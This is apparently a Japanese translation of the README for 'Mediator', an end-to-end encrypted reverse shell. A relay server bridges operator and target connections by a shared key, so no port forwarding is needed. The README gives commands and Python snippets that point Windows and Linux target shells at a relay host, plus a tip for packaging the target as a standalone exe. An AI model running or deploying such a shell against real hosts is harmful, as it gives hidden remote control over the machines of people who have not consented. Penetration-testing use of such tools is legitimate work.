
拡張可能で、エンドツーエンド暗号化されたリバースシェル。ポートフォワーディングなしでネットワーク間で動作します。
Mediatorは、オペレーターとシェルが接続をブリッジする「mediator」サーバーに接続する、エンドツーエンド暗号化されたリバースシェルです。これにより、オペレーター/ハンドラーが接続を待ち受けるためにポートフォワーディングを設定する必要がなくなります。Mediatorでは、リバースシェルの機能を拡張するプラグインを作成することもできます。
Mediatorのスクリプトはスタンドアロンの実行可能ファイルとして実行することも、他のペネトレーションテストやインシデントレスポンスツールに統合するためにインポートすることもできます。
エンドツーエンド暗号化チャットアプリケーションに触発されたMediatorは、リバースシェルのクライアント/サーバーモデルに対して独自のアプローチを採用しています。Mediatorは以下を使用します:
リバースシェルとハンドラーは、接続キーを使用してMediatorサーバーに接続します。サーバーはハンドラー接続用にポート80、リバースシェル接続用にポート443をリッスンします。クライアントがmediatorに接続すると、サーバーは各タイプと接続キーに従ってクライアントをキューに入れます。リバースシェルとオペレーターが同じキーでサーバーに接続すると、サーバーは2つの接続をブリッジします。そこから、2つのクライアント間で鍵交換が行われ、リバースシェルとオペレーター間のすべての通信はエンドツーエンドで暗号化されます。これにより、サーバーがパイプしているストリームを盗聴できなくなります。
プラグインを使用すると、オペレーターのホスト、ターゲットホスト、またはその両方でコードを実行できる追加コマンドを追加できます。プラグインの詳細については、pluginsディレクトリのREADMEを参照してください。
クライアントスクリプトはWindowsまたはLinuxで実行できますが、サーバー(mediator.py)はLinuxホスト上で立ち上げる必要があります。サーバーは純粋なPythonなので、依存関係をインストールする必要はありません。サーバースクリプトは次のように実行できます。
$ python3 mediator.py
または、提供されているDockerfileを使用してDockerイメージをビルドし、コンテナ内で実行することもできます(ポート80と443を公開することを確認してください)。
クライアントを動作させるには、requirements.txt)にある依存関係をインストールする必要があります。これは次のコマンドで行えます:
$ pip3 install -r requirements.txt
クライアントを依存関係を気にせずに配布する方法については、下部のヒントと注意事項を参照してください。
ハンドラーとリバースシェルは、他のPythonスクリプト内で使用することも、コマンドラインから直接使用することもできます。どちらの場合も、クライアントはサーバーアドレスと接続キーの引数を受け付けることができます。これらの引数の使用法は以下で説明します。
Mediatorサーバーアドレス
Pythonスクリプトとして使用する場合、インスタンス化時にmediatorホストのアドレスが必要です。
Handler class
from handler import Handler
operator = Handler(mediatorHost="example.com")
operator.run()
WindowsRShell class
from windowsTarget import WindowsRShell
shell = WindowsRShell(mediatorHost="example.com")
shell.run()
クライアントスクリプトをシェルから直接実行する場合、アドレスをスクリプトの下部にハードコードするか、-sまたは--serverフラグを使用してサーバーアドレスを引数として指定できます。
handler.py
$ python3 handler.py -s example.com
windowsTarget.py
> python windowsTarget.py -s example.com
接続キー
2つのハンドラーまたは2つのリバースシェルが同じ接続キーでmediatorサーバーに接続した場合、最初の接続だけがキューに入れられ、そのペアを待ちます。キューに入れられた接続がタイムアウト(30秒)するか、相手側の接続と一致するまで、同じ接続キーで接続しようとする同じタイプの他のクライアントはすべて切断されます。
各ハンドラーが一意の接続キーを使用していることを確認することが重要です。そうしないと、競合状態が発生して、間違ったシェルがオペレーターに渡される可能性があります。
プレフィックス"#!ConnectionKey_"を持つキーのみがサーバーに受け入れられます。デフォルトの接続キーは"#!ConnectionKey_CHANGE_ME!!!"です。
Pythonスクリプトとして使用する場合の接続キーの変更方法は、インスタンス化時にオプションで接続キーを指定できます:
Handler class
from handler import Handler
operator = Handler(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
operator.run()
LinuxRShell class
from linuxTarget import LinuxRShell
shell = LinuxRShell(mediatorHost="example.com", connectionKey="#!ConnectionKey_secret_key")
shell.run()
クライアントスクリプトをシェルから直接実行する場合、接続キーをスクリプトの下部にハードコードするか、-cまたは--connection-keyフラグを使用して接続キーを引数として指定できます。
handler.py
$ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key'
windowsTarget.py
> python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'
--onefileフラグを使用して、windowsTarget.pyのexeを簡単に作成できます。